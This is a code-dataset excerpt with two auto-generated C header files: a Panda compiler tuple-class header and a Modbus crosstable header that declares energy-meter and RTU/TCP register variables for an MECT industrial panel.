max_stars_repo_path
stringlengths
3
199
max_stars_repo_name
stringlengths
6
90
max_stars_count
float64
0
118k
id
stringlengths
3
7
content
stringlengths
14
1,000k
score
float64
0.34
1
label
stringclasses
3 values
bootstrap/include/$LPpanda$core$Int64$Cpanda$io$File$RP.h
ethannicholas/panda-old
0
7198401
// This file was automatically generated by the Panda compiler #ifndef $LPpanda$core$Int64$Cpanda$io$File$RP_H #define $LPpanda$core$Int64$Cpanda$io$File$RP_H extern panda$core$Class $LPpanda$core$Int64$Cpanda$io$File$RP_class; #ifndef CLASS_$LPpanda$core$Int64$Cpanda$io$File$RP #define CLASS_$LPpanda$core$Int64$Cpanda$io$File$RP struct $LPpanda$core$Int64$Cpanda$io$File$RP { panda$core$Class* cl; Int64 $field0; panda$io$File* $field1; }; #define $LPpanda$core$Int64$Cpanda$io$File$RP$convert_$Rpanda$core$String_INDEX 1 typedef panda$core$String*($LPpanda$core$Int64$Cpanda$io$File$RP$convert_$Rpanda$core$String_TYPE)($LPpanda$core$Int64$Cpanda$io$File$RP* self); #define $LPpanda$core$Int64$Cpanda$io$File$RP$$EQ_panda$core$Object_$Rpanda$core$Bit_INDEX 2 typedef Bit($LPpanda$core$Int64$Cpanda$io$File$RP$$EQ_panda$core$Object_$Rpanda$core$Bit_TYPE)($LPpanda$core$Int64$Cpanda$io$File$RP* self, panda$core$Object*); #define $LPpanda$core$Int64$Cpanda$io$File$RP$get_hash_$Rpanda$core$Int64_INDEX 3 typedef Int64($LPpanda$core$Int64$Cpanda$io$File$RP$get_hash_$Rpanda$core$Int64_TYPE)($LPpanda$core$Int64$Cpanda$io$File$RP* self); #define $LPpanda$core$Int64$Cpanda$io$File$RP$$ARR_Int32_$Rpanda$core$Immutable_INDEX 4 typedef panda$core$Immutable*($LPpanda$core$Int64$Cpanda$io$File$RP$$ARR_Int32_$Rpanda$core$Immutable_TYPE)($LPpanda$core$Int64$Cpanda$io$File$RP* self, Int32); void $LPpanda$core$Int64$Cpanda$io$File$RP$init_Int64_panda$io$File($LPpanda$core$Int64$Cpanda$io$File$RP* self, Int64, panda$io$File*); $LPpanda$core$Int64$Cpanda$io$File$RP* new_$LPpanda$core$Int64$Cpanda$io$File$RP$init_Int64_panda$io$File(Int64, panda$io$File*); panda$core$String* $LPpanda$core$Int64$Cpanda$io$File$RP$convert_$Rpanda$core$String($LPpanda$core$Int64$Cpanda$io$File$RP* self); Bit $LPpanda$core$Int64$Cpanda$io$File$RP$$EQ_panda$core$Object_$Rpanda$core$Bit($LPpanda$core$Int64$Cpanda$io$File$RP* self, panda$core$Object*); Int64 $LPpanda$core$Int64$Cpanda$io$File$RP$get_hash_$Rpanda$core$Int64($LPpanda$core$Int64$Cpanda$io$File$RP* self); panda$core$Immutable* $LPpanda$core$Int64$Cpanda$io$File$RP$$ARR_Int32_$Rpanda$core$Immutable($LPpanda$core$Int64$Cpanda$io$File$RP* self, Int32); #endif #endif
0.933594
high
TP1043_01_A/Monitoring/config/crosstable.h
trigrass2/mect_apps
2
7198913
<reponame>trigrass2/mect_apps /* File automatically generated by the Crosstable compiler */ /* from the Crosstable file config/Crosstable.csv. */ /* BIT -> int */ /* BYTE_BIT -> int */ /* WORD_BIT -> int */ /* DWORD_BIT -> int */ /* BYTE -> u_int8_t */ /* UINT -> u_int16_t */ /* UINTBA -> UINTBA */ /* INT -> int16_t */ /* INTBA -> INTBA */ /* UDINT -> u_int32_t */ /* UDINTBADC -> UDINTBADC */ /* UDINTCDAB -> UDINTCDAB */ /* UDINTDCBA -> UDINTDCBA */ /* DINT -> int32_t */ /* DINTBADC -> DINTBADC */ /* DINTCDAB -> DINTCDAB */ /* DINTDCBA -> DINTDCBA */ /* REAL -> float */ /* REALBADC -> REALBADC */ /* REALCDAB -> REALCDAB */ /* REALDCBA -> REALDCBA */ #ifndef CROSSTABLE_H__ #define CROSSTABLE_H__ #ifdef __cplusplus extern "C" { #endif #include <sys/types.h> #include "cross_table_utility.h" #define ID_Pmax 1 extern u_int16_t Pmax; /* PRMS phase 1 (max) */ int doWrite_Pmax(u_int16_t value); int addWrite_Pmax(u_int16_t value); int getStatus_Pmax(void); #define ID_EM_Firmware 194 extern u_int16_t EM_Firmware; /* Firmware-Version */ int doWrite_EM_Firmware(u_int16_t value); int addWrite_EM_Firmware(u_int16_t value); int getStatus_EM_Firmware(void); #define ID_Status 196 extern u_int16_t Status; /* Status */ int doWrite_Status(u_int16_t value); int addWrite_Status(u_int16_t value); int getStatus_Status(void); #define ID_Timeout 197 extern u_int16_t Timeout; /* Timeout Modbus */ int doWrite_Timeout(u_int16_t value); int addWrite_Timeout(u_int16_t value); int getStatus_Timeout(void); #define ID_Indirizzo 198 extern u_int16_t Indirizzo; /* Indirizzo Modbus */ int doWrite_Indirizzo(u_int16_t value); int addWrite_Indirizzo(u_int16_t value); int getStatus_Indirizzo(void); #define ID_Errore 199 extern u_int16_t Errore; /* Errore Registro */ int doWrite_Errore(u_int16_t value); int addWrite_Errore(u_int16_t value); int getStatus_Errore(void); #define ID_unused_25 200 extern u_int16_t unused_25; int doWrite_unused_25(u_int16_t value); int addWrite_unused_25(u_int16_t value); int getStatus_unused_25(void); #define ID_unused_26 201 extern u_int16_t unused_26; int doWrite_unused_26(u_int16_t value); int addWrite_unused_26(u_int16_t value); int getStatus_unused_26(void); #define ID_Ttotal 202 extern u_int32_t Ttotal; /* WT1 totale Contatore energia Totale Tariffa 1 */ int doWrite_Ttotal(u_int32_t value); int addWrite_Ttotal(u_int32_t value); int getStatus_Ttotal(void); #define ID_Tpart 203 extern u_int32_t Tpart; /* WT1 parziale Contatore energia Parziale Tariffa 1 */ int doWrite_Tpart(u_int32_t value); int addWrite_Tpart(u_int32_t value); int getStatus_Tpart(void); #define ID_unused_31 204 extern u_int16_t unused_31; int doWrite_unused_31(u_int16_t value); int addWrite_unused_31(u_int16_t value); int getStatus_unused_31(void); #define ID_unused_32 205 extern u_int16_t unused_32; int doWrite_unused_32(u_int16_t value); int addWrite_unused_32(u_int16_t value); int getStatus_unused_32(void); #define ID_unused_33 206 extern u_int16_t unused_33; int doWrite_unused_33(u_int16_t value); int addWrite_unused_33(u_int16_t value); int getStatus_unused_33(void); #define ID_unused_34 207 extern u_int16_t unused_34; int doWrite_unused_34(u_int16_t value); int addWrite_unused_34(u_int16_t value); int getStatus_unused_34(void); #define ID_U 208 extern u_int16_t U; /* URMS phase 1 */ int doWrite_U(u_int16_t value); int addWrite_U(u_int16_t value); int getStatus_U(void); #define ID_I 209 extern u_int16_t I; /* IRMS phase 1 */ int doWrite_I(u_int16_t value); int addWrite_I(u_int16_t value); int getStatus_I(void); #define ID_P 210 extern u_int16_t P; /* PRMS phase 1 */ int doWrite_P(u_int16_t value); int addWrite_P(u_int16_t value); int getStatus_P(void); #define ID_Q 211 extern int16_t Q; /* QRMS phase 1 */ int doWrite_Q(int16_t value); int addWrite_Q(int16_t value); int getStatus_Q(void); #define ID_C 212 extern int16_t C; /* cos phi phase 1 */ int doWrite_C(int16_t value); int addWrite_C(int16_t value); int getStatus_C(void); #define ID_TCP_U 1001 extern u_int16_t TCP_U; /* URMS phase 1 */ int doWrite_TCP_U(u_int16_t value); int addWrite_TCP_U(u_int16_t value); int getStatus_TCP_U(void); #define ID_TCP_I 1002 extern u_int16_t TCP_I; /* IRMS phase 1 */ int doWrite_TCP_I(u_int16_t value); int addWrite_TCP_I(u_int16_t value); int getStatus_TCP_I(void); #define ID_TCP_P 1003 extern u_int16_t TCP_P; /* PRMS phase 1 */ int doWrite_TCP_P(u_int16_t value); int addWrite_TCP_P(u_int16_t value); int getStatus_TCP_P(void); #define ID_TCP_Q 1004 extern int16_t TCP_Q; /* QRMS phase 1 */ int doWrite_TCP_Q(int16_t value); int addWrite_TCP_Q(int16_t value); int getStatus_TCP_Q(void); #define ID_TCP_C 1005 extern int16_t TCP_C; /* cos phi phase 1 */ int doWrite_TCP_C(int16_t value); int addWrite_TCP_C(int16_t value); int getStatus_TCP_C(void); #define ID_TCP_Pmax 1006 extern u_int16_t TCP_Pmax; /* PRMS phase 1 (max) */ int doWrite_TCP_Pmax(u_int16_t value); int addWrite_TCP_Pmax(u_int16_t value); int getStatus_TCP_Pmax(void); #define ID_TCP_Ttotal 1007 extern u_int32_t TCP_Ttotal; /* WT1 totale Contatore energia Totale Tariffa 1 */ int doWrite_TCP_Ttotal(u_int32_t value); int addWrite_TCP_Ttotal(u_int32_t value); int getStatus_TCP_Ttotal(void); #define ID_TCP_Tpart 1008 extern u_int32_t TCP_Tpart; /* WT1 parziale Contatore energia Parziale Tariffa 1 */ int doWrite_TCP_Tpart(u_int32_t value); int addWrite_TCP_Tpart(u_int32_t value); int getStatus_TCP_Tpart(void); #define ID_TCP_UPTIME_s 1009 extern u_int32_t TCP_UPTIME_s; int doWrite_TCP_UPTIME_s(u_int32_t value); int addWrite_TCP_UPTIME_s(u_int32_t value); int getStatus_TCP_UPTIME_s(void); #define ID_TCP_HH_MM 1010 extern u_int16_t TCP_HH_MM; int doWrite_TCP_HH_MM(u_int16_t value); int addWrite_TCP_HH_MM(u_int16_t value); int getStatus_TCP_HH_MM(void); #define ID_SRV_EP_heartbeat 2000 extern u_int16_t SRV_EP_heartbeat; /* TCPS_STATUS NODE_09_STATUS */ int doWrite_SRV_EP_heartbeat(u_int16_t value); int addWrite_SRV_EP_heartbeat(u_int16_t value); int getStatus_SRV_EP_heartbeat(void); #define ID_SRV_EP_enabled_wattmeters 2001 extern u_int16_t SRV_EP_enabled_wattmeters; /* 0 .. 12 */ int doWrite_SRV_EP_enabled_wattmeters(u_int16_t value); int addWrite_SRV_EP_enabled_wattmeters(u_int16_t value); int getStatus_SRV_EP_enabled_wattmeters(void); #define ID_SRV_EP_wattmeter01_U 2002 extern int16_t SRV_EP_wattmeter01_U; /* xxx.xx V */ int doWrite_SRV_EP_wattmeter01_U(int16_t value); int addWrite_SRV_EP_wattmeter01_U(int16_t value); int getStatus_SRV_EP_wattmeter01_U(void); #define ID_SRV_EP_wattmeter01_C 2003 extern int16_t SRV_EP_wattmeter01_C; /* +/- x.xxx */ int doWrite_SRV_EP_wattmeter01_C(int16_t value); int addWrite_SRV_EP_wattmeter01_C(int16_t value); int getStatus_SRV_EP_wattmeter01_C(void); #define ID_SRV_EP_wattmeter01_Texp 2004 extern u_int32_t SRV_EP_wattmeter01_Texp; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter01_Texp(u_int32_t value); int addWrite_SRV_EP_wattmeter01_Texp(u_int32_t value); int getStatus_SRV_EP_wattmeter01_Texp(void); #define ID_SRV_EP_wattmeter01_P 2005 extern int16_t SRV_EP_wattmeter01_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter01_P(int16_t value); int addWrite_SRV_EP_wattmeter01_P(int16_t value); int getStatus_SRV_EP_wattmeter01_P(void); #define ID_SRV_EP_wattmeter01_Pmax 2006 extern int16_t SRV_EP_wattmeter01_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter01_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter01_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter01_Pmax(void); #define ID_SRV_EP_wattmeter01_T 2007 extern u_int32_t SRV_EP_wattmeter01_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter01_T(u_int32_t value); int addWrite_SRV_EP_wattmeter01_T(u_int32_t value); int getStatus_SRV_EP_wattmeter01_T(void); #define ID_SRV_EP_wattmeter02_P 2008 extern int16_t SRV_EP_wattmeter02_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter02_P(int16_t value); int addWrite_SRV_EP_wattmeter02_P(int16_t value); int getStatus_SRV_EP_wattmeter02_P(void); #define ID_SRV_EP_wattmeter02_Pmax 2009 extern int16_t SRV_EP_wattmeter02_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter02_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter02_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter02_Pmax(void); #define ID_SRV_EP_wattmeter02_T 2010 extern u_int32_t SRV_EP_wattmeter02_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter02_T(u_int32_t value); int addWrite_SRV_EP_wattmeter02_T(u_int32_t value); int getStatus_SRV_EP_wattmeter02_T(void); #define ID_SRV_EP_wattmeter03_P 2011 extern int16_t SRV_EP_wattmeter03_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter03_P(int16_t value); int addWrite_SRV_EP_wattmeter03_P(int16_t value); int getStatus_SRV_EP_wattmeter03_P(void); #define ID_SRV_EP_wattmeter03_Pmax 2012 extern int16_t SRV_EP_wattmeter03_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter03_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter03_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter03_Pmax(void); #define ID_SRV_EP_wattmeter03_T 2013 extern u_int32_t SRV_EP_wattmeter03_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter03_T(u_int32_t value); int addWrite_SRV_EP_wattmeter03_T(u_int32_t value); int getStatus_SRV_EP_wattmeter03_T(void); #define ID_SRV_EP_wattmeter04_P 2014 extern int16_t SRV_EP_wattmeter04_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter04_P(int16_t value); int addWrite_SRV_EP_wattmeter04_P(int16_t value); int getStatus_SRV_EP_wattmeter04_P(void); #define ID_SRV_EP_wattmeter04_Pmax 2015 extern int16_t SRV_EP_wattmeter04_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter04_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter04_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter04_Pmax(void); #define ID_SRV_EP_wattmeter04_T 2016 extern u_int32_t SRV_EP_wattmeter04_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter04_T(u_int32_t value); int addWrite_SRV_EP_wattmeter04_T(u_int32_t value); int getStatus_SRV_EP_wattmeter04_T(void); #define ID_SRV_EP_wattmeter05_P 2017 extern int16_t SRV_EP_wattmeter05_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter05_P(int16_t value); int addWrite_SRV_EP_wattmeter05_P(int16_t value); int getStatus_SRV_EP_wattmeter05_P(void); #define ID_SRV_EP_wattmeter05_Pmax 2018 extern int16_t SRV_EP_wattmeter05_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter05_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter05_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter05_Pmax(void); #define ID_SRV_EP_wattmeter05_T 2019 extern u_int32_t SRV_EP_wattmeter05_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter05_T(u_int32_t value); int addWrite_SRV_EP_wattmeter05_T(u_int32_t value); int getStatus_SRV_EP_wattmeter05_T(void); #define ID_SRV_EP_wattmeter06_P 2020 extern int16_t SRV_EP_wattmeter06_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter06_P(int16_t value); int addWrite_SRV_EP_wattmeter06_P(int16_t value); int getStatus_SRV_EP_wattmeter06_P(void); #define ID_SRV_EP_wattmeter06_Pmax 2021 extern int16_t SRV_EP_wattmeter06_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter06_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter06_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter06_Pmax(void); #define ID_SRV_EP_wattmeter06_T 2022 extern u_int32_t SRV_EP_wattmeter06_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter06_T(u_int32_t value); int addWrite_SRV_EP_wattmeter06_T(u_int32_t value); int getStatus_SRV_EP_wattmeter06_T(void); #define ID_SRV_EP_wattmeter07_P 2023 extern int16_t SRV_EP_wattmeter07_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter07_P(int16_t value); int addWrite_SRV_EP_wattmeter07_P(int16_t value); int getStatus_SRV_EP_wattmeter07_P(void); #define ID_SRV_EP_wattmeter07_Pmax 2024 extern int16_t SRV_EP_wattmeter07_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter07_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter07_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter07_Pmax(void); #define ID_SRV_EP_wattmeter07_T 2025 extern u_int32_t SRV_EP_wattmeter07_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter07_T(u_int32_t value); int addWrite_SRV_EP_wattmeter07_T(u_int32_t value); int getStatus_SRV_EP_wattmeter07_T(void); #define ID_SRV_EP_wattmeter08_P 2026 extern int16_t SRV_EP_wattmeter08_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter08_P(int16_t value); int addWrite_SRV_EP_wattmeter08_P(int16_t value); int getStatus_SRV_EP_wattmeter08_P(void); #define ID_SRV_EP_wattmeter08_Pmax 2027 extern int16_t SRV_EP_wattmeter08_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter08_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter08_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter08_Pmax(void); #define ID_SRV_EP_wattmeter08_T 2028 extern u_int32_t SRV_EP_wattmeter08_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter08_T(u_int32_t value); int addWrite_SRV_EP_wattmeter08_T(u_int32_t value); int getStatus_SRV_EP_wattmeter08_T(void); #define ID_SRV_EP_wattmeter09_P 2029 extern int16_t SRV_EP_wattmeter09_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter09_P(int16_t value); int addWrite_SRV_EP_wattmeter09_P(int16_t value); int getStatus_SRV_EP_wattmeter09_P(void); #define ID_SRV_EP_wattmeter09_Pmax 2030 extern int16_t SRV_EP_wattmeter09_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter09_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter09_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter09_Pmax(void); #define ID_SRV_EP_wattmeter09_T 2031 extern u_int32_t SRV_EP_wattmeter09_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter09_T(u_int32_t value); int addWrite_SRV_EP_wattmeter09_T(u_int32_t value); int getStatus_SRV_EP_wattmeter09_T(void); #define ID_SRV_EP_wattmeter10_P 2032 extern int16_t SRV_EP_wattmeter10_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter10_P(int16_t value); int addWrite_SRV_EP_wattmeter10_P(int16_t value); int getStatus_SRV_EP_wattmeter10_P(void); #define ID_SRV_EP_wattmeter10_Pmax 2033 extern int16_t SRV_EP_wattmeter10_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter10_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter10_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter10_Pmax(void); #define ID_SRV_EP_wattmeter10_T 2034 extern u_int32_t SRV_EP_wattmeter10_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter10_T(u_int32_t value); int addWrite_SRV_EP_wattmeter10_T(u_int32_t value); int getStatus_SRV_EP_wattmeter10_T(void); #define ID_SRV_EP_wattmeter11_P 2035 extern int16_t SRV_EP_wattmeter11_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter11_P(int16_t value); int addWrite_SRV_EP_wattmeter11_P(int16_t value); int getStatus_SRV_EP_wattmeter11_P(void); #define ID_SRV_EP_wattmeter11_Pmax 2036 extern int16_t SRV_EP_wattmeter11_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter11_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter11_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter11_Pmax(void); #define ID_SRV_EP_wattmeter11_T 2037 extern u_int32_t SRV_EP_wattmeter11_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter11_T(u_int32_t value); int addWrite_SRV_EP_wattmeter11_T(u_int32_t value); int getStatus_SRV_EP_wattmeter11_T(void); #define ID_SRV_EP_wattmeter12_P 2038 extern int16_t SRV_EP_wattmeter12_P; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter12_P(int16_t value); int addWrite_SRV_EP_wattmeter12_P(int16_t value); int getStatus_SRV_EP_wattmeter12_P(void); #define ID_SRV_EP_wattmeter12_Pmax 2039 extern int16_t SRV_EP_wattmeter12_Pmax; /* +/- xxxx W */ int doWrite_SRV_EP_wattmeter12_Pmax(int16_t value); int addWrite_SRV_EP_wattmeter12_Pmax(int16_t value); int getStatus_SRV_EP_wattmeter12_Pmax(void); #define ID_SRV_EP_wattmeter12_T 2040 extern u_int32_t SRV_EP_wattmeter12_T; /* xxxxxxxxx.x kWh */ int doWrite_SRV_EP_wattmeter12_T(u_int32_t value); int addWrite_SRV_EP_wattmeter12_T(u_int32_t value); int getStatus_SRV_EP_wattmeter12_T(void); #define ID_RTU0_TYPE_PORT 5000 extern u_int32_t RTU0_TYPE_PORT; int doWrite_RTU0_TYPE_PORT(u_int32_t value); int addWrite_RTU0_TYPE_PORT(u_int32_t value); int getStatus_RTU0_TYPE_PORT(void); #define ID_RTU0_BAUDRATE 5001 extern u_int32_t RTU0_BAUDRATE; int doWrite_RTU0_BAUDRATE(u_int32_t value); int addWrite_RTU0_BAUDRATE(u_int32_t value); int getStatus_RTU0_BAUDRATE(void); #define ID_RTU0_STATUS 5002 extern u_int32_t RTU0_STATUS; int doWrite_RTU0_STATUS(u_int32_t value); int addWrite_RTU0_STATUS(u_int32_t value); int getStatus_RTU0_STATUS(void); #define ID_RTU0_READS 5003 extern u_int32_t RTU0_READS; int doWrite_RTU0_READS(u_int32_t value); int addWrite_RTU0_READS(u_int32_t value); int getStatus_RTU0_READS(void); #define ID_RTU0_WRITES 5004 extern u_int32_t RTU0_WRITES; int doWrite_RTU0_WRITES(u_int32_t value); int addWrite_RTU0_WRITES(u_int32_t value); int getStatus_RTU0_WRITES(void); #define ID_RTU0_TIMEOUTS 5005 extern u_int32_t RTU0_TIMEOUTS; int doWrite_RTU0_TIMEOUTS(u_int32_t value); int addWrite_RTU0_TIMEOUTS(u_int32_t value); int getStatus_RTU0_TIMEOUTS(void); #define ID_RTU0_COMM_ERRORS 5006 extern u_int32_t RTU0_COMM_ERRORS; int doWrite_RTU0_COMM_ERRORS(u_int32_t value); int addWrite_RTU0_COMM_ERRORS(u_int32_t value); int getStatus_RTU0_COMM_ERRORS(void); #define ID_RTU0_LAST_ERROR 5007 extern u_int32_t RTU0_LAST_ERROR; int doWrite_RTU0_LAST_ERROR(u_int32_t value); int addWrite_RTU0_LAST_ERROR(u_int32_t value); int getStatus_RTU0_LAST_ERROR(void); #define ID_RTU0_WRITE_QUEUE 5008 extern u_int32_t RTU0_WRITE_QUEUE; int doWrite_RTU0_WRITE_QUEUE(u_int32_t value); int addWrite_RTU0_WRITE_QUEUE(u_int32_t value); int getStatus_RTU0_WRITE_QUEUE(void); #define ID_RTU0_BUS_LOAD 5009 extern u_int32_t RTU0_BUS_LOAD; int doWrite_RTU0_BUS_LOAD(u_int32_t value); int addWrite_RTU0_BUS_LOAD(u_int32_t value); int getStatus_RTU0_BUS_LOAD(void); #define ID_RTU3_TYPE_PORT 5020 extern u_int32_t RTU3_TYPE_PORT; int doWrite_RTU3_TYPE_PORT(u_int32_t value); int addWrite_RTU3_TYPE_PORT(u_int32_t value); int getStatus_RTU3_TYPE_PORT(void); #define ID_RTU3_BAUDRATE 5021 extern u_int32_t RTU3_BAUDRATE; int doWrite_RTU3_BAUDRATE(u_int32_t value); int addWrite_RTU3_BAUDRATE(u_int32_t value); int getStatus_RTU3_BAUDRATE(void); #define ID_RTU3_STATUS 5022 extern u_int32_t RTU3_STATUS; int doWrite_RTU3_STATUS(u_int32_t value); int addWrite_RTU3_STATUS(u_int32_t value); int getStatus_RTU3_STATUS(void); #define ID_RTU3_READS 5023 extern u_int32_t RTU3_READS; int doWrite_RTU3_READS(u_int32_t value); int addWrite_RTU3_READS(u_int32_t value); int getStatus_RTU3_READS(void); #define ID_RTU3_WRITES 5024 extern u_int32_t RTU3_WRITES; int doWrite_RTU3_WRITES(u_int32_t value); int addWrite_RTU3_WRITES(u_int32_t value); int getStatus_RTU3_WRITES(void); #define ID_RTU3_TIMEOUTS 5025 extern u_int32_t RTU3_TIMEOUTS; int doWrite_RTU3_TIMEOUTS(u_int32_t value); int addWrite_RTU3_TIMEOUTS(u_int32_t value); int getStatus_RTU3_TIMEOUTS(void); #define ID_RTU3_COMM_ERRORS 5026 extern u_int32_t RTU3_COMM_ERRORS; int doWrite_RTU3_COMM_ERRORS(u_int32_t value); int addWrite_RTU3_COMM_ERRORS(u_int32_t value); int getStatus_RTU3_COMM_ERRORS(void); #define ID_RTU3_LAST_ERROR 5027 extern u_int32_t RTU3_LAST_ERROR; int doWrite_RTU3_LAST_ERROR(u_int32_t value); int addWrite_RTU3_LAST_ERROR(u_int32_t value); int getStatus_RTU3_LAST_ERROR(void); #define ID_RTU3_WRITE_QUEUE 5028 extern u_int32_t RTU3_WRITE_QUEUE; int doWrite_RTU3_WRITE_QUEUE(u_int32_t value); int addWrite_RTU3_WRITE_QUEUE(u_int32_t value); int getStatus_RTU3_WRITE_QUEUE(void); #define ID_RTU3_BUS_LOAD 5029 extern u_int32_t RTU3_BUS_LOAD; int doWrite_RTU3_BUS_LOAD(u_int32_t value); int addWrite_RTU3_BUS_LOAD(u_int32_t value); int getStatus_RTU3_BUS_LOAD(void); #define ID_TCPS_TYPE_PORT 5050 extern u_int32_t TCPS_TYPE_PORT; int doWrite_TCPS_TYPE_PORT(u_int32_t value); int addWrite_TCPS_TYPE_PORT(u_int32_t value); int getStatus_TCPS_TYPE_PORT(void); #define ID_TCPS_IP_ADDRESS 5051 extern u_int32_t TCPS_IP_ADDRESS; int doWrite_TCPS_IP_ADDRESS(u_int32_t value); int addWrite_TCPS_IP_ADDRESS(u_int32_t value); int getStatus_TCPS_IP_ADDRESS(void); #define ID_TCPS_STATUS 5052 extern u_int32_t TCPS_STATUS; int doWrite_TCPS_STATUS(u_int32_t value); int addWrite_TCPS_STATUS(u_int32_t value); int getStatus_TCPS_STATUS(void); #define ID_TCPS_READS 5053 extern u_int32_t TCPS_READS; int doWrite_TCPS_READS(u_int32_t value); int addWrite_TCPS_READS(u_int32_t value); int getStatus_TCPS_READS(void); #define ID_TCPS_WRITES 5054 extern u_int32_t TCPS_WRITES; int doWrite_TCPS_WRITES(u_int32_t value); int addWrite_TCPS_WRITES(u_int32_t value); int getStatus_TCPS_WRITES(void); #define ID_TCPS_TIMEOUTS 5055 extern u_int32_t TCPS_TIMEOUTS; int doWrite_TCPS_TIMEOUTS(u_int32_t value); int addWrite_TCPS_TIMEOUTS(u_int32_t value); int getStatus_TCPS_TIMEOUTS(void); #define ID_TCPS_COMM_ERRORS 5056 extern u_int32_t TCPS_COMM_ERRORS; int doWrite_TCPS_COMM_ERRORS(u_int32_t value); int addWrite_TCPS_COMM_ERRORS(u_int32_t value); int getStatus_TCPS_COMM_ERRORS(void); #define ID_TCPS_LAST_ERROR 5057 extern u_int32_t TCPS_LAST_ERROR; int doWrite_TCPS_LAST_ERROR(u_int32_t value); int addWrite_TCPS_LAST_ERROR(u_int32_t value); int getStatus_TCPS_LAST_ERROR(void); #define ID_TCPS_WRITE_QUEUE 5058 extern u_int32_t TCPS_WRITE_QUEUE; int doWrite_TCPS_WRITE_QUEUE(u_int32_t value); int addWrite_TCPS_WRITE_QUEUE(u_int32_t value); int getStatus_TCPS_WRITE_QUEUE(void); #define ID_TCPS_BUS_LOAD 5059 extern u_int32_t TCPS_BUS_LOAD; int doWrite_TCPS_BUS_LOAD(u_int32_t value); int addWrite_TCPS_BUS_LOAD(u_int32_t value); int getStatus_TCPS_BUS_LOAD(void); #define ID_TCP0_TYPE_PORT 5060 extern u_int32_t TCP0_TYPE_PORT; int doWrite_TCP0_TYPE_PORT(u_int32_t value); int addWrite_TCP0_TYPE_PORT(u_int32_t value); int getStatus_TCP0_TYPE_PORT(void); #define ID_TCP0_IP_ADDRESS 5061 extern u_int32_t TCP0_IP_ADDRESS; int doWrite_TCP0_IP_ADDRESS(u_int32_t value); int addWrite_TCP0_IP_ADDRESS(u_int32_t value); int getStatus_TCP0_IP_ADDRESS(void); #define ID_TCP0_STATUS 5062 extern u_int32_t TCP0_STATUS; int doWrite_TCP0_STATUS(u_int32_t value); int addWrite_TCP0_STATUS(u_int32_t value); int getStatus_TCP0_STATUS(void); #define ID_TCP0_READS 5063 extern u_int32_t TCP0_READS; int doWrite_TCP0_READS(u_int32_t value); int addWrite_TCP0_READS(u_int32_t value); int getStatus_TCP0_READS(void); #define ID_TCP0_WRITES 5064 extern u_int32_t TCP0_WRITES; int doWrite_TCP0_WRITES(u_int32_t value); int addWrite_TCP0_WRITES(u_int32_t value); int getStatus_TCP0_WRITES(void); #define ID_TCP0_TIMEOUTS 5065 extern u_int32_t TCP0_TIMEOUTS; int doWrite_TCP0_TIMEOUTS(u_int32_t value); int addWrite_TCP0_TIMEOUTS(u_int32_t value); int getStatus_TCP0_TIMEOUTS(void); #define ID_TCP0_COMM_ERRORS 5066 extern u_int32_t TCP0_COMM_ERRORS; int doWrite_TCP0_COMM_ERRORS(u_int32_t value); int addWrite_TCP0_COMM_ERRORS(u_int32_t value); int getStatus_TCP0_COMM_ERRORS(void); #define ID_TCP0_LAST_ERROR 5067 extern u_int32_t TCP0_LAST_ERROR; int doWrite_TCP0_LAST_ERROR(u_int32_t value); int 